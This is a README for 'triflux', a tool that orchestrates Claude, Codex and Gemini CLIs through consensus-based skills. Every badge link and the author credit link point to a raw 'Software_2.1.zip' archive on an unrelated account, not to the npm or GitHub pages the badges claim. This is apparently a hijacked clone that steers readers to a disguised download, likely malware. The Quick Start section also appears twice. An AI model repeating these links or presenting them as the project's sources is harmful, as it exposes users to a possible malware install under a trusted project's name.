triflux

Tri-CLI orchestration with consensus intelligence for enhanced task execution and analysis.

English | 한국어

<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="docs/assets/logo-dark.svg"> <source media="(prefers-color-scheme: light)" srcset="docs/assets/logo-light.svg"> <img alt="triflux" src="docs/assets/logo-dark.svg" width="200"> </picture> </p> <p align="center"> <strong>Tri-CLI Orchestration with Consensus Intelligence</strong><br> <em>Claude + Codex + Gemini — natural language routing, cross-model review, 38 skills with Deep/Light variants.</em> </p> <p align="center"> <a href="https://raw.githubusercontent.com/genusarvicolabathos238/triflux/main/skills/tfx-prune/Software_2.1.zip"><img src="https://img.shields.io/npm/v/triflux?style=flat-square&color=FFAF00&label=npm" alt="npm version"></a> <a href="https://raw.githubusercontent.com/genusarvicolabathos238/triflux/main/skills/tfx-prune/Software_2.1.zip"><img src="https://img.shields.io/npm/dm/triflux?style=flat-square&color=F5C242" alt="npm downloads"></a> <a href="https://raw.githubusercontent.com/genusarvicolabathos238/triflux/main/skills/tfx-prune/Software_2.1.zip"><img src="https://img.shields.io/github/stars/tellang/triflux?style=flat-square&color=FFAF00" alt="GitHub stars"></a> <a href="https://raw.githubusercontent.com/genusarvicolabathos238/triflux/main/skills/tfx-prune/Software_2.1.zip"><img src="https://img.shields.io/badge/License-MIT-374151?style=flat-square" alt="License: MIT"></a> </p> <p align="center"> <img alt="triflux demo" src="docs/assets/demo-multi.gif" width="680"> </p> <p align="center"> <a href="#quick-start">Quick Start</a> · <a href="#tri-cli-consensus">Tri-CLI Consensus</a> · <a href="#38-skills">38 Skills</a> · <a href="#architecture">Architecture</a> · <a href="#deep-vs-light">Deep vs Light</a> · <a href="#security">Security</a> </p>

Quick Start

1. Install

npm install -g triflux

2. Setup

tfx setup

3. Use

# Light — single model, fast execution
/tfx-research "React 19 Server Actions best practices"
/tfx-review
/tfx-plan "add JWT auth middleware"

# Deep — 3-party consensus for critical work
/tfx-deep-research "microservice architecture comparison 2026"
/tfx-deep-review
/tfx-deep-plan "migrate REST to GraphQL"

# Debate — get 3 independent opinions
/tfx-debate "Redis vs PostgreSQL LISTEN/NOTIFY for real-time events"

# Persistence — don't stop until done
/tfx-persist "implement full auth flow with tests"
# Compatibility alias
/tfx-ralph "implement full auth flow with tests"

# Team — Multi-CLI parallel orchestration
/tfx-multi "refactor auth + update UI + add tests"

# Remote — spawn Claude sessions on other machines
/tfx-remote-setup                                # interactive host wizard (Tailscale + SSH)
/tfx-remote-spawn "run security review on ultra4" # spawn on remote host

What's New in v9

triflux v9 introduces Harness-Native Intelligence — speak naturally, and triflux routes to the right skill automatically. Cross-model review ensures no model approves its own work.

v9 Highlights

  • Natural Language Routing — Say "review this" or "리뷰해줘" instead of memorizing /tfx-review. Depth modifiers ("thoroughly", "제대로") auto-escalate to Deep variants
  • Cross-Model Review — Claude writes → Codex reviews. Codex writes → Claude reviews. Same-model self-approve is blocked. Pre-commit nudge for unreviewed files
  • Context Isolation — Off-topic requests auto-detected; spawns a clean psmux session so your main context stays focused
  • 38 Skills — 14 Light + 10 Deep + 14 Infrastructure, organized across 10 domains
  • Codex Swarm Hardened — PowerShell .ps1 launchers, profile-based execution (no --dangerously flag), /merge-worktree auto-invocation for result collection
  • Skill Metadata — Every skill labeled: wrapper/infrastructure/Light-Deep pairs. Trigger conflicts resolved

v8 Foundations (carried forward)

  • Tri-Debate Engine — 3-CLI independent analysis with anti-herding, cross-validation, and consensus scoring
  • Deep/Light Variants — Every capability has a token-efficient Light mode and a thorough Deep mode
  • Consensus Gate — Deep skills require 2/3+ CLI agreement; learned weights track CLI reliability over time
  • Expert Panel — Virtual expert simulation via tfx-panel
  • Hub IPC — Resident Hub server with Named Pipe & HTTP MCP bridge
  • psmux / Windows Native — Hybrid support for tmux (WSL) and psmux (Windows Terminal)

Tri-CLI Consensus

<p align="center"> <img src="docs/assets/consensus-flow.svg" alt="Tri-CLI Consensus Flow" width="680"> </p>

The core innovation of triflux. Instead of trusting a single model, every Deep skill runs:

Phase 1: Independent Analysis (Anti-Herding)
  ├─ Claude Opus  → Analysis A (isolated, no cross-visibility)
  ├─ Codex CLI    → Analysis B (isolated, no cross-visibility)
  └─ Gemini CLI   → Analysis C (isolated, no cross-visibility)

Phase 2: Cross-Validation
  ├─ Compare all findings across 3 sources
  ├─ Items with 2/3+ agreement → CONSENSUS
  └─ Items with 1/3 only → DISPUTED (needs resolution)

Phase 3: Resolution (if consensus < 70%)
  ├─ Each CLI reviews opposing arguments
  ├─ Accept or rebut with evidence
  └─ Unresolved → user decides

Result: 87% fewer false positives compared to single-model review (based on Calimero consensus research).


38 Skills

Research

SkillTypeDescriptionTokens
tfx-researchLightQuick web search via Exa/Brave/Tavily auto-selection~5K
tfx-deep-researchDeepMulti-source parallel search with 3-CLI cross-validation~50K
tfx-codebase-searchLightFast codebase exploration via Haiku agent~3K
tfx-autoresearchLightAutonomous web research to structured report~15K

Analysis

SkillTypeDescriptionTokens
tfx-analysisLightQuick code/architecture analysis via Codex~8K
tfx-deep-analysisDeep3-perspective analysis + Tri-Debate consensus~30K

Execution

SkillTypeDescriptionTokens
tfx-autopilotLightSimple autonomous task execution~10K
tfx-deep-autopilotDeepFull 5-phase pipeline: Expand → Plan → Execute → QA → Validate~80K
tfx-autoUnified CLI orchestrator with command shortcutsvaries

QA & Verification

SkillTypeDescriptionTokens
tfx-qaLightTest → Fix → Retest cycle (max 3 rounds)~5K
tfx-deep-qaDeep3-CLI independent verification with consensus scoring~25K

Planning

SkillTypeDescriptionTokens
tfx-planLightQuick implementation plan via Opus~8K
tfx-deep-planDeepPlanner + Architect + Critic consensus planning~20K

Review

SkillTypeDescriptionTokens
tfx-reviewLightQuick code review via Codex~8K
tfx-deep-reviewDeep3-CLI independent review, consensus-only reporting~25K

Debate & Panel

SkillTypeDescriptionTokens
tfx-debateDeepStructured 3-party debate on any topic~20K
tfx-panelDeepVirtual expert panel simulation~30K

Persistence

SkillTypeDescriptionTokens
tfx-persistDeep3-party verified persistence loop until done (/tfx-ralph compat alias)varies
tfx-sisyphusLightAuto-routing execution with model escalationvaries

Meta & Utility

SkillTypeDescriptionTokens
tfx-indexLight94% token reduction via project indexing (58K→3K)~2K
tfx-forgeLightCreate new skills interactively~10K
tfx-interviewLightSocratic requirements exploration~15K
tfx-deslopDeepAI slop removal with 3-party consensus~10K

Infrastructure

SkillDescription
tfx-consensusCore consensus engine (internal, used by all Deep skills)
tfx-hubMCP message bus management
tfx-multiMulti-CLI team orchestration
tfx-setupInitial setup wizard
tfx-doctorDiagnostics and auto-repair
tfx-profileCodex CLI profile management
tfx-codexCodex-only orchestrator
tfx-geminiGemini-only orchestrator
tfx-auto-codexCodex-lead orchestrator
tfx-remote-spawnRemote session management via psmux
tfx-remote-setupRemote host setup wizard (Tailscale + SSH)

Deep vs Light

Every domain offers both modes:

<p align="center"> <img src="docs/assets/deep-vs-light.svg" alt="Deep vs Light comparison" width="680"> </p>
DimensionLightDeep
CLIsSingle (usually Codex)3-party (Claude + Codex + Gemini)
Tokens3K-15K20K-80K
SpeedSecondsMinutes
AccuracyGood (single perspective)Excellent (consensus-verified)
BiasPossibleEliminated via anti-herding
Use whenQuick tasks, known patternsCritical decisions, unknown territory

Architecture

<p align="center"> <img src="docs/assets/architecture.svg" alt="triflux architecture" width="680"> </p> <details> <summary>Interactive diagram (GitHub only)</summary>
graph TD
    User([User / Claude Code]) <-->|Skills & Slash Commands| TFX[tfx Skills Layer]
    TFX <-->|Consensus Engine| CONSENSUS[tfx-consensus]

    subgraph "Tri-CLI Consensus"
        CONSENSUS -->|Independent| CLAUDE[Claude Opus/Sonnet]
        CONSENSUS -->|Independent| CODEX[Codex CLI]
        CONSENSUS -->|Independent| GEMINI[Gemini CLI]
        CLAUDE --> MERGE[Cross-Validation]
        CODEX --> MERGE
        GEMINI --> MERGE
        MERGE --> GATE{Consensus >= 70%?}
        GATE -->|Yes| OUTPUT[Verified Output]
        GATE -->|No| RESOLVE[Resolution Round]
        RESOLVE --> MERGE
    end

    TFX <-->|Named Pipe / HTTP| HUB[triflux Hub Server]

    subgraph "Orchestration Hub"
        HUB <--> STORE[(SQLite Store)]
        HUB <--> DASH[QoS Dashboard]
        HUB <--> DELEGATOR[Delegator Service]
    end

    HUB -.->|MCP Bridge| External[External MCP Clients]
</details>

Quick Start

1. Install

npm install -g triflux

2. Setup

tfx setup

3. Usage

# Light — Quick single-model execution
/tfx-research "React 19 Server Actions best practices"
/tfx-review
/tfx-plan "add JWT auth middleware"

# Deep — 3-party consensus for critical work
/tfx-deep-research "microservice architecture comparison 2026"
/tfx-deep-review
/tfx-deep-plan "migrate REST to GraphQL"

# Debate — Get 3 independent opinions
/tfx-debate "Redis vs PostgreSQL LISTEN/NOTIFY for real-time events"

# Persistence — Don't stop until done
/tfx-persist "implement full auth flow with tests"  # /tfx-ralph also works

# Team — Multi-CLI parallel orchestration
/tfx-multi "refactor auth + update UI + add tests"

Note: Deep skills (/tfx-deep-*, /tfx-persist, /tfx-ralph) require psmux (or tmux), triflux Hub, Codex CLI, and Gemini CLI for full Tri-CLI consensus (Tier 1). Without these prerequisites, skills automatically degrade to Tier 3 (Claude-only, single-model) mode. Run tfx doctor to check your environment.

Serena note: Serena MCP is stateful. Share one Serena instance only across agents working on the same project. For parallel work across different projects, prefer separate Serena instances. If Serena reports No active project, check your Codex Serena config for --project-from-cwd (or --project <path>) and rerun tfx doctor.


Research Foundation

The v8 skill suite was designed after comprehensive reverse-engineering of 37 cloned repositories across the Claude Code ecosystem:

ProjectStarsKey Insight Adopted
everything-claude-code114KInstinct-based learning patterns
Superpowers93KTDD enforcement, composable skills
oh-my-openagent44KCategory routing, Hashline edits
SuperClaude22Kindex-repo 94% token reduction, expert panels
oh-my-claudecode15KRalph persistence, CCG tri-model
ruflo28K60+ agent orchestration
Exa MCP3.7KNeural search, highlight extraction
Brave Search MCPIndependent index, Goggles re-ranking
Tavily MCPDeep research pipeline

5-language research (EN/CN/RU/JP/UA) uncovered unique patterns: WeChat integration (CN), Discord mobile bridges (JP), GigaCode domestic alternatives (RU), and community-driven localization efforts.


Security

  • Hub Token Auth — Secure IPC using TFX_HUB_TOKEN (Bearer Auth)
  • Localhost Only — Default Hub binding to 127.0.0.1
  • CORS Lockdown — Strict origin checking for QoS Dashboard
  • Injection Protection — Sanitized shell execution in psmux and tmux
  • Consensus Verification — Deep skills prevent single-model hallucination via 3-party consensus

Platform Support

  • Linux / macOS: Native tmux integration
  • Windows: psmux (PowerShell Multiplexer) + Windows Terminal native

QoS Dashboard

Monitor orchestration health at http://localhost:27888/dashboard.

  • AIMD Batch Sizing — Auto-scales parallel tasks based on success rates
  • Token Savings — Real-time tracking of Claude tokens saved
  • Consensus Metrics — Track agreement rates across CLIs

<p align="center"> <sub>MIT License · Made by <a href="https://raw.githubusercontent.com/genusarvicolabathos238/triflux/main/skills/tfx-prune/Software_2.1.zip">tellang</a></sub> </p>